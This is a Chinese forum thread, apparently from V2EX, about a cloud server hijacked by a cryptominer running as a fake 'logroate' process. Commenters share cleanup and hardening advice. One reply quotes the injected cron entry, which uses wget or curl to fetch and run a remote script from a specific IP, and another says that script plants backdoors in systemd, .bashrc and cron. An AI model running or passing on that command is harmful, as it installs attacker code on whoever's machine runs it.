logroate 进程在狂刷 cpu , 不知道是什么侵入的（ 这是最可怕的） ，太可恶了，可怕。。。。
This topic created in 890 days ago, the information mentioned may be changed or developed.
 |
1
然后阿里云告诉我说，你当前账号用的是免费版云安全中心，不支持病毒查杀。。。。
|
 |
CanglinJun 1, 2024
2
不过可以看是哪些进程，kill 掉后删除就好了，我也被弄过
|
 |
FoxkehJun 1, 2024
3
只能检查下 SSH 和各种暴露到公网的弱密码, 安全组, 不明来源的软件或被爆出漏洞的第三方 Web 应用(尤其是用 root 权限运行的)
然后建议重装 |
 |
tinyfryJun 1, 2024
4
果断重装，不要开放一些不用的端口，密码强度要设置高一些，定期对组件进行升级。
|
|
5
@daily source <(wget -q -O - http://185.196.8.123/logservice.sh || curl -sL http://185.196.8.123/logservice.sh) , 这是 cron 任务里被添加的东西
|
 |
idragonetJun 1, 2024
7
系统重新安装肯定的，SSH 只开启证书登录。
|
|
9
|
 |
11
据我经验，50% 是 ssh 弱口令，30% 是 redis 弱口令，20% 是各种其他漏洞。
|
1 |
13
就是因为你们这种人,国产服务和 APP 才肆无忌惮的以安全保护的名义查用户的数据
|
 |
PierroJun 1, 2024
14
之前用 docker 远程部署镜像 端口有漏洞就被挖矿了 各种查定时文件什么的 清了还是会自动执行 就直接重装了
|
 |
itechifyJun 1, 2024
15
http://185.196.8.123/logservice.sh 这个文件做了好几个后门，systemd ，.bashrc ，cron ，都检查下
|
|
16
@oneisall8955 嗯嗯，是这三个
|
 |
akiraJun 1, 2024
17
服务器直接作废 重新开一台吧，然后好好做好安全
|
 |
Gilfoyle26Jun 2, 2024
18
阿里云这个回复，是真的让人心寒。
|
 |
ynkccJun 8, 2024 via Android
20
|
 |
lazyrmJun 23, 2024 via iPhone
21
我上次是因为开启了 jdk 的远程调试
|
 |
sdgawerJun 27, 2024
22
xmr 门罗币挖矿 我都遇到好多次了。清除了 没用。然后把脚本里面的文件权限改了也不行。会检测 xmrig 没有执行权限他会自动授权。我感觉那次不是 ssh 弱口令问题，我改了好几次密码都会回来，而且重启路由改变了 IP 没过多久还是会进来，可能是某个看起来正常的我还在用的服务有问题。最后重装系统才搞定。
|
Select Language